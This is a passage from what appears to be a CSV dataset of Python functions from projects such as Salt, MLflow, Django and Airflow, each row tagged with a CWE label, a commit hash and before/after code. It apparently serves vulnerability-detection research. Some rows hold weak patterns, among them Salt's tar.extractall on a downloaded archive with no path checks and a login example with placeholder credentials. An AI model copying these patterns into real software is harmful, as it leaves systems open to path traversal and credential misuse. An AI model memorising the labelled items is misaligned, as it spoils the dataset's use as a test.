                            name,
                            options=options,
                            trim_output=trim_output,
                            password=password,
                            **kwargs)
                    except (CommandExecutionError, CommandNotFoundError) as exc:
                        ret['comment'] = exc.strerror
                        return ret
                else:
                    files = __salt__['archive.unzip'](cached,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      extract_perms=extract_perms,
                                                      **kwargs)
            elif archive_format == 'rar':
                try:
                    files = __salt__['archive.unrar'](cached,
                                                      name,
                                                      trim_output=trim_output,
                                                      **kwargs)
                except (CommandExecutionError, CommandNotFoundError) as exc:
                    ret['comment'] = exc.strerror
                    return ret
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached, 'r')) as tar:
                            tar.extractall(salt.utils.stringutils.to_str(name))
                            files = tar.getnames()
                            if trim_output:
                                files = files[:trim_output]
                    except tarfile.ReadError:
                        if salt.utils.path.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-t', cached],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using XZ Utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    if not salt.utils.path.which('tar'):
                        ret['comment'] = (
                            'tar command not available, it might not be '
                            'installed on minion'
                        )
                        return ret

                    tar_opts = shlex.split(options)

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached])

                    results = __salt__['cmd.run_all'](tar_cmd,
                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            if os.path.isdir(enforce_ownership_on):
                enforce_dirs = [enforce_ownership_on]
                enforce_files = []
                enforce_links = []
            else:
                enforce_dirs = []
                enforce_files = [enforce_ownership_on]
                enforce_links = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']
                enforce_links = contents['top_level_links']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __states__['file.directory'](full_path,
                                                          user=user,
                                                          group=group,
                                                          recurse=recurse)
                log.debug('file.directory: %s', dir_result)

                if dir_result.get('changes'):
                    ret['changes']['updated ownership'] = True
                try:
                    if not dir_result['result']:
                        enforce_failed.append(full_path)
                except (KeyError, TypeError):
                    log.warning(
                        'Bad state return %s for file.directory state on %s',
                        dir_result, dirname
                    )

        for filename in enforce_files + enforce_links:
            full_path = os.path.join(name, filename)
            try:
                # Using os.lstat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.lstat directly will speed
                # things up a bit.
                file_stat = os.lstat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.lchown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if files:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(
                salt.utils.url.redact_http_basic_auth(source_match),
                name,
            )
            _add_explanation(ret, source_hash_trigger, contents_missing)
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'No files were extracted from {0}'.format(
                salt.utils.url.redact_http_basic_auth(source_match)
            )
    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_level dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    if not source_is_local:
        if keep_source:
            log.debug('Keeping cached source file %s', cached)
        else:
            log.debug('Cleaning cached source file %s', cached)
            result = __states__['file.not_cached'](source_match, saltenv=__env__)
            if not result['result']:
                # Don't let failure to delete cached file cause the state
                # itself to fail, just drop it in the warnings.
                ret.setdefault('warnings', []).append(result['comment'])

    return ret"
,UNKNOWN,UNKNOWN,tests/tracking/test_log_image.py,1,"def test_log_image_pillow(subdir):
    from PIL import Image, ImageChops

    filename = ""image.png""
    artifact_file = filename if subdir is None else posixpath.join(subdir, filename)

    image = Image.new(""RGB"", (100, 100))

    with mlflow.start_run():
        mlflow.log_image(image, artifact_file)

        artifact_path = None if subdir is None else posixpath.normpath(subdir)
        artifact_uri = mlflow.get_artifact_uri(artifact_path)
        run_artifact_dir = local_file_uri_to_path(artifact_uri)
        assert os.listdir(run_artifact_dir) == [filename]

        logged_path = os.path.join(run_artifact_dir, filename)
        loaded_image = Image.open(logged_path)
        # How to check Pillow image equality: https://stackoverflow.com/a/6204954/6943581
        assert ImageChops.difference(loaded_image, image).getbbox() is None",CWE-703,mlflow/mlflow,20860e973b3e6a8185c6bba26248321ad960cf92,"def test_log_image_pillow(subdir):
    from PIL import Image, ImageChops

    filename = ""image.png""
    artifact_file = filename if subdir is None else posixpath.join(subdir, filename)

    image = Image.new(""RGB"", (100, 100))

    with mlflow.start_run():
        mlflow.log_image(image, artifact_file)

        artifact_path = None if subdir is None else posixpath.normpath(subdir)
        artifact_uri = mlflow.get_artifact_uri(artifact_path)
        run_artifact_dir = local_file_uri_to_path(artifact_uri)
        assert os.listdir(run_artifact_dir) == [filename]

        logged_path = os.path.join(run_artifact_dir, filename)
        loaded_image = Image.open(logged_path)
        # How to check Pillow image equality: https://stackoverflow.com/a/6204954/6943581
        assert ImageChops.difference(loaded_image, image).getbbox() is None"
,UNKNOWN,UNKNOWN,tests/user_commands/management/commands/optparse_cmd.py,1,"def handle(self, *args, **options):
        options[""example""]
        # BaseCommand default option is available
        options['verbosity']
        assert (
            isinstance(options['verbosity'], int), ""verbosity option is not int, but %s"" % type(options['verbosity'])
        )
        self.stdout.write(""All right, let's dance %s."" % options[""style""])",CWE-703,django/django,b1e33ceceda1e75ff68c7deed8f6659683a195d3,"def handle(self, *args, **options):
        options[""example""]
        # BaseCommand default option is available
        options['verbosity']
        assert isinstance(options['verbosity'], int), ""verbosity option is not int, but %s"" % type(options['verbosity'])
        self.stdout.write(""All right, let's dance %s."" % options[""style""])"
,UNKNOWN,UNKNOWN,tests/sagemaker/test_sagemaker_deployment_client.py,1,"def test_get_deployment_successful(pretrained_model, sagemaker_client):
    name = ""test-app""
    region_name = sagemaker_client.meta.region_name
    sagemaker_deployment_client = mfs.SageMakerDeploymentClient(f""sagemaker:/{region_name}"")
    sagemaker_deployment_client.create_deployment(
        name=name, model_uri=pretrained_model.model_uri, config={""region_name"": region_name}
    )

    endpoint_description = sagemaker_deployment_client.get_deployment(name)

    expected_description = sagemaker_client.describe_endpoint(EndpointName=name)
    # The date header value in `expected_description` is occasionally one second ahead of
    # `endpoint_description`. To avoid flakiness, use `mock.ANY` to match any value.
    expected_description[""ResponseMetadata""][""HTTPHeaders""][""date""] = mock.ANY
    assert endpoint_description == expected_description",CWE-703,mlflow/mlflow,812b05c29a72275e6bb8d7a2f223719d02cdd7ef,"def test_get_deployment_successful(pretrained_model, sagemaker_client):
    name = ""test-app""
    region_name = sagemaker_client.meta.region_name
    sagemaker_deployment_client = mfs.SageMakerDeploymentClient(f""sagemaker:/{region_name}"")
    sagemaker_deployment_client.create_deployment(
        name=name, model_uri=pretrained_model.model_uri, config={""region_name"": region_name}
    )

    endpoint_description = sagemaker_deployment_client.get_deployment(name)

    expected_description = sagemaker_client.describe_endpoint(EndpointName=name)
    assert endpoint_description == expected_description"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/network.py,0,"def get_bufsize(iface):
    '''
    Return network buffer sizes as a dict

    CLI Example:

    .. code-block:: bash

        salt '*' network.get_bufsize eth0
    '''
    if __grains__['kernel'] == 'Linux':
        if os.path.exists('/sbin/ethtool'):
            return _get_bufsize_linux(iface)

    return {}",,saltstack/salt,fa983e91cf2631fdac7afe9aada34a06aa9c78bc,"def get_bufsize(iface):
    '''
    Return network buffer sizes as a dict

    CLI Example:

    .. code-block:: bash

        salt '*' network.getbufsize
    '''
    if __grains__['kernel'] == 'Linux':
        if os.path.exists('/sbin/ethtool'):
            return _get_bufsize_linux(iface)

    return {}"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/grains/disks.py,0,"def _linux_disks():
    '''
    Return list of disk devices and work out if they are SSD or HDD.
    '''
    ret = {'disks': [], 'SSDs': []}

    for entry in glob.glob('/sys/block/*/queue/rotational'):
        try:
            with salt.utils.files.fopen(entry) as entry_fp:
                device = entry.split('/')[3]
                flag = entry_fp.read(1)
                if flag == '0':
                    ret['SSDs'].append(device)
                    log.trace('Device %s reports itself as an SSD', device)
                elif flag == '1':
                    ret['disks'].append(device)
                    log.trace('Device %s reports itself as an HDD', device)
                else:
                    log.trace(
                        'Unable to identify device %s as an SSD or HDD. It does '
                        'not report 0 or 1', device
                    )
        except IOError:
            pass
    return ret",,saltstack/salt,c631598a877535a8397d87c8f7dae2299b6cc0d4,"def _linux_disks():
    '''
    Return list of disk devices and work out if they are SSD or HDD.
    '''
    ret = {'disks': [], 'SSDs': []}

    for entry in glob.glob('/sys/block/*/queue/rotational'):
        with salt.utils.fopen(entry) as entry_fp:
            device = entry.split('/')[3]
            flag = entry_fp.read(1)
            if flag == '0':
                ret['SSDs'].append(device)
                log.trace('Device {0} reports itself as an SSD'.format(device))
            elif flag == '1':
                ret['disks'].append(device)
                log.trace('Device {0} reports itself as an HDD'.format(device))
            else:
                log.trace('Unable to identify device {0} as an SSD or HDD.'
                          ' It does not report 0 or 1'.format(device))
    return ret"
,UNKNOWN,UNKNOWN,tests/www/test_security.py,1,"def test_update_and_verify_permission_role(self):
        role_name = 'Test_Role'
        role_perms = []
        mock_roles = [{'role': role_name, 'perms': role_perms}]
        self.security_manager.bulk_sync_roles(mock_roles)
        role = self.security_manager.find_role(role_name)

        perm = self.security_manager.get_permission(permissions.ACTION_CAN_EDIT, permissions.RESOURCE_ROLE)
        self.security_manager.add_permission_to_role(role, perm)
        role_perms_len = len(role.permissions)

        self.security_manager.bulk_sync_roles(mock_roles)
        new_role_perms_len = len(role.permissions)

        assert role_perms_len == new_role_perms_len
        assert new_role_perms_len == 1",CWE-703,apache/airflow,6deebec04c71373f5f99a14a3477fc4d6dc9bcdc,"def test_update_and_verify_permission_role(self):
        role_name = 'Test_Role'
        role_perms = []
        mock_roles = [{'role': role_name, 'perms': role_perms}]
        self.security_manager.bulk_sync_roles(mock_roles)
        role = self.security_manager.find_role(role_name)

        perm = self.security_manager.get_permission(permissions.ACTION_CAN_EDIT, permissions.RESOURCE_ROLE)
        self.security_manager.add_permission_role(role, perm)
        role_perms_len = len(role.permissions)

        self.security_manager.bulk_sync_roles(mock_roles)
        new_role_perms_len = len(role.permissions)

        assert role_perms_len == new_role_perms_len
        assert new_role_perms_len == 1"
,CVE-2024-37088,UNKNOWN,tests/pytests/unit/test_pillar.py,1,"def test_compile_pillar_disk_cache(master_opts, grains):
    master_opts.update({""pillar_cache_backend"": ""disk"", ""pillar_cache_ttl"": 3600})

    pillar = salt.pillar.PillarCache(
        master_opts,
        grains,
        ""mocked_minion"",
        ""fake_env"",
        pillarenv=""base"",
    )

    with patch(""salt.utils.cache.CacheDisk._write"", MagicMock()):
        with patch(
            ""salt.pillar.PillarCache.fetch_pillar"",
            side_effect=[{""foo"": ""bar""}, {""foo"": ""baz""}],
        ):
            # Run once for pillarenv base
            ret = pillar.compile_pillar()
            expected_cache = {""mocked_minion"": {""base"": {""foo"": ""bar""}}}
            assert pillar.cache._dict == expected_cache

            # Run a second time for pillarenv base
            ret = pillar.compile_pillar()
            expected_cache = {""mocked_minion"": {""base"": {""foo"": ""bar""}}}
            assert pillar.cache._dict == expected_cache

            # Change the pillarenv
            pillar.pillarenv = ""dev""

            # Run once for pillarenv dev
            ret = pillar.compile_pillar()
            expected_cache = {
                ""mocked_minion"": {""base"": {""foo"": ""bar""}, ""dev"": {""foo"": ""baz""}}
            }
            assert pillar.cache._dict == expected_cache

            # Run a second time for pillarenv dev
            ret = pillar.compile_pillar()
            expected_cache = {
                ""mocked_minion"": {""base"": {""foo"": ""bar""}, ""dev"": {""foo"": ""baz""}}
            }
            assert pillar.cache._dict == expected_cache",CWE-703,saltstack/salt,b8a2e80c4d7ff91f05d8de01c3cf5e38c7642342,"def test_compile_pillar_disk_cache(master_opts, grains):
    master_opts.update({""pillar_cache_backend"": ""disk"", ""pillar_cache_ttl"": 3600})

    pillar = salt.pillar.PillarCache(
        master_opts,
        grains,
        ""mocked_minion"",
        ""fake_env"",
        pillarenv=""base"",
    )

    with patch(""salt.utils.cache.CacheDisk._write"", MagicMock()):
        with patch(
            ""salt.pillar.PillarCache.fetch_pillar"",
            side_effect=[{""foo"": ""bar""}, {""foo"": ""baz""}],
        ):
            # Run once for pillarenv base
            ret = pillar.compile_pillar()
            expected_cache = {""mocked_minion"": {""base"": {""foo"": ""bar""}}}
            assert pillar.cache._dict == expected_cache

            # Run a second time for pillarenv base
            ret = pillar.compile_pillar()
            expected_cache = {""mocked_minion"": {""base"": {""foo"": ""bar""}}}
            assert pillar.cache._dict == expected_cache

            # Change the pillarenv
            pillar.pillarenv = ""dev""

            # Run once for pillarenv dev
            ret = pillar.compile_pillar()
            expected_cache = {
                ""mocked_minion"": {""base"": {""foo"": ""bar""}, ""dev"": {""foo"": ""baz""}}
            }
            assert pillar.cache._dict == expected_cache

            # Run a second time for pillarenv dev
            ret = pillar.compile_pillar()
            expected_cache = {
                ""mocked_minion"": {""base"": {""foo"": ""bar""}, ""dev"": {""foo"": ""baz""}}
            }
            assert pillar.cache._dict == expected_cache"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/py3compat.py,0,"def b(s, encoding='utf8'):  # NOQA
        """"""cast unicode or bytes to bytes""""""
        if isinstance(s, str):
            return s
        elif isinstance(s, unicode):
            return s.encode(encoding)
        elif isinstance(s, buffer):
            return s
        else:
            raise TypeError(""Expected unicode or bytes, got %r"" % s)",,paramiko/paramiko,c3ba66b90e9da0cce9c88fbc45894fde492edfd0,"def b(s, encoding='utf8'):  # NOQA
        """"""cast unicode or bytes to bytes""""""
        if isinstance(s, str):
            return s
        elif isinstance(s, unicode):
            return s.encode(encoding)
        else:
            raise TypeError(""Expected unicode or bytes, got %r"" % s)"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/hooks/test_batch_client.py,1,"def setUp(self, get_client_type_mock):
        self.get_client_type_mock = get_client_type_mock
        self.batch_client = BatchClientHook(
            max_retries=self.MAX_RETRIES,
            status_retries=self.STATUS_RETRIES,
            aws_conn_id='airflow_test',
            region_name=AWS_REGION,
        )
        # We're mocking all actual AWS calls and don't need a connection. This
        # avoids an Airflow warning about connection cannot be found.
        self.batch_client.get_connection = lambda _: None
        self.client_mock = get_client_type_mock.return_value
        assert self.batch_client.client == self.client_mock  # setup client property

        # don't pause in these unit tests
        self.mock_delay = mock.Mock(return_value=None)
        self.batch_client.delay = self.mock_delay
        self.mock_exponential_delay = mock.Mock(return_value=0)
        self.batch_client.exponential_delay = self.mock_exponential_delay",CWE-703,apache/airflow,6dd4593829ffbd71b0f6c261233787caa5973178,"def setUp(self, get_client_type_mock):
        self.get_client_type_mock = get_client_type_mock
        self.batch_client = BatchClientHook(
            max_retries=self.MAX_RETRIES,
            status_retries=self.STATUS_RETRIES,
            aws_conn_id='airflow_test',
            region_name=AWS_REGION,
        )
        self.client_mock = get_client_type_mock.return_value
        assert self.batch_client.client == self.client_mock  # setup client property

        # don't pause in these unit tests
        self.mock_delay = mock.Mock(return_value=None)
        self.batch_client.delay = self.mock_delay
        self.mock_exponential_delay = mock.Mock(return_value=0)
        self.batch_client.exponential_delay = self.mock_exponential_delay"
,UNKNOWN,UNKNOWN,saltapi/netapi/rest_cherrypy/app.py,1,"def POST(self, **kwargs):
        '''
        Authenticate against Salt's eauth system

        .. versionchanged:: 0.8.0
            No longer returns a 302 redirect on success.

        .. http:post:: /login

            **Example request**::

                % curl -si localhost:8000/login \\
                        -H ""Accept: application/json"" \\
                        -d username='saltuser' \\
                        -d password='saltpass' \\
                        -d eauth='pam'

            .. code-block:: http

                POST / HTTP/1.1
                Host: localhost:8000
                Content-Length: 42
                Content-Type: application/x-www-form-urlencoded
                Accept: application/json

                username=saltuser&password=saltpass&eauth=pam

            **Example response**:

            .. code-block:: http

                HTTP/1.1 200 OK
                Content-Type: application/json
                Content-Length: 206
                X-Auth-Token: 6d1b722e
                Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/

                {""return"": {
                    ""token"": ""6d1b722e"",
                    ""start"": 1363805943.776223,
                    ""expire"": 1363849143.776224,
                    ""user"": ""saltuser"",
                    ""eauth"": ""pam"",
                    ""perms"": [
                        ""grains.*"",
                        ""status.*"",
                        ""sys.*"",
                        ""test.*""
                    ]
                }}

        :form eauth: the eauth backend configured in your master config
        :form username: username
        :form password: password
        :status 200: success
        :status 406: requested Content-Type not available
        '''
        auth = salt.auth.LoadAuth(self.opts)

        # the urlencoded_processor will wrap this in a list
        if isinstance(cherrypy.serving.request.lowstate, list):
            creds = cherrypy.serving.request.lowstate[0]
        else:
            creds = cherrypy.serving.request.lowstate

        token = auth.mk_token(creds)
        cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id
        cherrypy.session['token'] = token['token']
        cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60

        # Grab eauth config for the current backend for the current user
        perms = self.opts['external_auth'][token['eauth']][token['name']]

        return {'return': [{
            'token': cherrypy.session.id,
            'expire': token['expire'],
            'start': token['start'],
            'user': token['name'],
            'eauth': token['eauth'],
            'perms': perms,
        }]}",CWE-259,saltstack/salt,dcdaea2d69b79a3b0e354b6b11527e865c7ebad6,"def POST(self, **kwargs):
        '''
        Authenticate against Salt's eauth system

        .. versionchanged:: 0.8.0
            No longer returns a 302 redirect on success.

        .. http:post:: /login

            **Example request**::

                % curl -si localhost:8000/login \\
                        -H ""Accept: application/json"" \\
                        -d username='saltuser' \\
                        -d password='saltpass' \\
                        -d eauth='pam'

            .. code-block:: http

                POST / HTTP/1.1
                Host: localhost:8000
                Content-Length: 42
                Content-Type: application/x-www-form-urlencoded
                Accept: application/json

                username=saltuser&password=saltpass&eauth=pam

            **Example response**:

            .. code-block:: http

                HTTP/1.1 200 OK
                Content-Type: application/json
                Content-Length: 206
                X-Auth-Token: 6d1b722e
                Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/

                {""return"": {
                    ""token"": ""6d1b722e"",
                    ""start"": 1363805943.776223,
                    ""expire"": 1363849143.776224,
                    ""user"": ""saltuser"",
                    ""eauth"": ""pam"",
                    ""perms"": [
                        ""grains.*"",
                        ""status.*"",
                        ""sys.*"",
                        ""test.*""
                    ]
                }}

        :form eauth: the eauth backend configured in your master config
        :form username: username
        :form password: password
        :status 200: success
        :status 406: requested Content-Type not available
        '''
        auth = salt.auth.LoadAuth(self.opts)

        # the urlencoded_processor will wrap this in a list
        if isinstance(cherrypy.serving.request.lowstate, list):
            creds = cherrypy.serving.request.lowstate[0]
        else:
            creds = cherrypy.serving.request.lowstate

        token = auth.mk_token(creds)
        cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id
        cherrypy.session['token'] = token['token']
        cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60

        # Grab eauth config for the current backend for the current user
        perms = self.opts['external_auth'][token['eauth']][token['name']]

        return {'return': {
            'token': cherrypy.session.id,
            'expire': token['expire'],
            'start': token['start'],
            'user': token['name'],
            'eauth': token['eauth'],
            'perms': perms,
        }}"
,UNKNOWN,UNKNOWN,IPython/html/services/contents/tests/test_manager.py,1,"def test_get(self):
        cm = self.contents_manager
        # Create a notebook
        model = cm.new_untitled(type='notebook')
        name = model['name']
        path = model['path']

        # Check that we 'get' on the notebook we just created
        model2 = cm.get(path)
        assert isinstance(model2, dict)
        self.assertIn('name', model2)
        self.assertIn('path', model2)
        self.assertEqual(model['name'], name)
        self.assertEqual(model['path'], path)

        nb_as_file = cm.get(path, content=True, type='file')
        self.assertEqual(nb_as_file['path'], path)
        self.assertEqual(nb_as_file['type'], 'file')
        self.assertEqual(nb_as_file['format'], 'text')
        self.assertNotIsInstance(nb_as_file['content'], dict)

        nb_as_bin_file = cm.get(path, content=True, type='file', format='base64')
        self.assertEqual(nb_as_bin_file['format'], 'base64')

        # Test in sub-directory
        sub_dir = '/foo/'
        self.make_dir(cm.root_dir, 'foo')
        model = cm.new_untitled(path=sub_dir, ext='.ipynb')
        model2 = cm.get(sub_dir + name)
        assert isinstance(model2, dict)
        self.assertIn('name', model2)
        self.assertIn('path', model2)
        self.assertIn('content', model2)
        self.assertEqual(model2['name'], 'Untitled.ipynb')
        self.assertEqual(model2['path'], '{0}/{1}'.format(sub_dir.strip('/'), name))

        # Test getting directory model
        dirmodel = cm.get('foo')
        self.assertEqual(dirmodel['type'], 'directory')

        with self.assertRaises(HTTPError):
            cm.get('foo', type='file')",CWE-703,jupyter/notebook,22e206de6fa4c6969dca3a5423afedb5bf29e8e2,"def test_get(self):
        cm = self.contents_manager
        # Create a notebook
        model = cm.new_untitled(type='notebook')
        name = model['name']
        path = model['path']

        # Check that we 'get' on the notebook we just created
        model2 = cm.get(path)
        assert isinstance(model2, dict)
        self.assertIn('name', model2)
        self.assertIn('path', model2)
        self.assertEqual(model['name'], name)
        self.assertEqual(model['path'], path)

        nb_as_file = cm.get(path, content=True, type_='file')
        self.assertEqual(nb_as_file['path'], path)
        self.assertEqual(nb_as_file['type'], 'file')
        self.assertEqual(nb_as_file['format'], 'text')
        self.assertNotIsInstance(nb_as_file['content'], dict)

        nb_as_bin_file = cm.get(path, content=True, type_='file', format='base64')
        self.assertEqual(nb_as_bin_file['format'], 'base64')

        # Test in sub-directory
        sub_dir = '/foo/'
        self.make_dir(cm.root_dir, 'foo')
        model = cm.new_untitled(path=sub_dir, ext='.ipynb')
        model2 = cm.get(sub_dir + name)
        assert isinstance(model2, dict)
        self.assertIn('name', model2)
        self.assertIn('path', model2)
        self.assertIn('content', model2)
        self.assertEqual(model2['name'], 'Untitled.ipynb')
        self.assertEqual(model2['path'], '{0}/{1}'.format(sub_dir.strip('/'), name))

        # Test getting directory model
        dirmodel = cm.get('foo')
        self.assertEqual(dirmodel['type'], 'directory')

        with self.assertRaises(HTTPError):
            cm.get('foo', type_='file')"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/docker/common.py,0,"def __init__(self, argument_spec=None, supports_check_mode=False, mutually_exclusive=None,
                 required_together=None, required_if=None, min_docker_version=MIN_DOCKER_VERSION,
                 min_docker_api_version=None, option_minimal_versions=None,
                 option_minimal_versions_ignore_params=None, fail_results=None):

        # Modules can put information in here which will always be returned
        # in case client.fail() is called.
        self.fail_results = fail_results or {}

        merged_arg_spec = dict()
        merged_arg_spec.update(DOCKER_COMMON_ARGS)
        if argument_spec:
            merged_arg_spec.update(argument_spec)
            self.arg_spec = merged_arg_spec

        mutually_exclusive_params = []
        mutually_exclusive_params += DOCKER_MUTUALLY_EXCLUSIVE
        if mutually_exclusive:
            mutually_exclusive_params += mutually_exclusive

        required_together_params = []
        required_together_params += DOCKER_REQUIRED_TOGETHER
        if required_together:
            required_together_params += required_together

        self.module = AnsibleModule(
            argument_spec=merged_arg_spec,
            supports_check_mode=supports_check_mode,
            mutually_exclusive=mutually_exclusive_params,
            required_together=required_together_params,
            required_if=required_if)

        NEEDS_DOCKER_PY2 = (LooseVersion(min_docker_version) >= LooseVersion('2.0.0'))

        self.docker_py_version = LooseVersion(docker_version)

        if HAS_DOCKER_MODELS and HAS_DOCKER_SSLADAPTER:
            self.fail(""Cannot have both the docker-py and docker python modules (old and new version of Docker ""
                      ""SDK for Python) installed together as they use the same namespace and cause a corrupt ""
                      ""installation. Please uninstall both packages, and re-install only the docker-py or docker ""
                      ""python module. It is recommended to install the docker module if no support for Python 2.6 ""
                      ""is required. Please note that simply uninstalling one of the modules can leave the other ""
                      ""module in a broken state."")

        if not HAS_DOCKER_PY:
            if NEEDS_DOCKER_PY2:
                msg = ""Failed to import docker (Docker SDK for Python) - %s. Try `pip install docker`.""
            else:
                msg = ""Failed to import docker or docker-py (Docker SDK for Python) - %s. Try `pip install docker` or `pip install docker-py` (Python 2.6).""
            self.fail(msg % HAS_DOCKER_ERROR)

        if self.docker_py_version < LooseVersion(min_docker_version):
            msg = ""Error: Docker SDK for Python version is %s. Minimum version required is %s. ""
            if not NEEDS_DOCKER_PY2:
                # The minimal required version is < 2.0 (and the current version as well).
                # Advertise docker (instead of docker-py) for non-Python-2.6 users.
                msg += DOCKERPYUPGRADE_RECOMMEND_DOCKER
            elif docker_version < LooseVersion('2.0'):
                msg += DOCKERPYUPGRADE_SWITCH_TO_DOCKER
            else:
                msg += DOCKERPYUPGRADE_UPGRADE_DOCKER
            self.fail(msg % (docker_version, min_docker_version))

        self.debug = self.module.params.get('debug')
        self.check_mode = self.module.check_mode
        self._connect_params = get_connect_params(self.auth_params, fail_function=self.fail)

        try:
            super(AnsibleDockerClient, self).__init__(**self._connect_params)
            self.docker_api_version_str = self.version()['ApiVersion']
        except APIError as exc:
            self.fail(""Docker API error: %s"" % exc)
        except Exception as exc:
            self.fail(""Error connecting: %s"" % exc)

        self.docker_api_version = LooseVersion(self.docker_api_version_str)
        if min_docker_api_version is not None:
            if self.docker_api_version < LooseVersion(min_docker_api_version):
                self.fail('Docker API version is %s. Minimum version required is %s.' % (self.docker_api_version_str, min_docker_api_version))

        if option_minimal_versions is not None:
            self._get_minimal_versions(option_minimal_versions, option_minimal_versions_ignore_params)",,ansible/ansible,6a71aef6c5b2f4c26d5f6522cd5b1a85cd78ee6b,"def __init__(self, argument_spec=None, supports_check_mode=False, mutually_exclusive=None,
                 required_together=None, required_if=None, min_docker_version=MIN_DOCKER_VERSION,
                 min_docker_api_version=None, option_minimal_versions=None,
                 option_minimal_versions_ignore_params=None, fail_results=None):

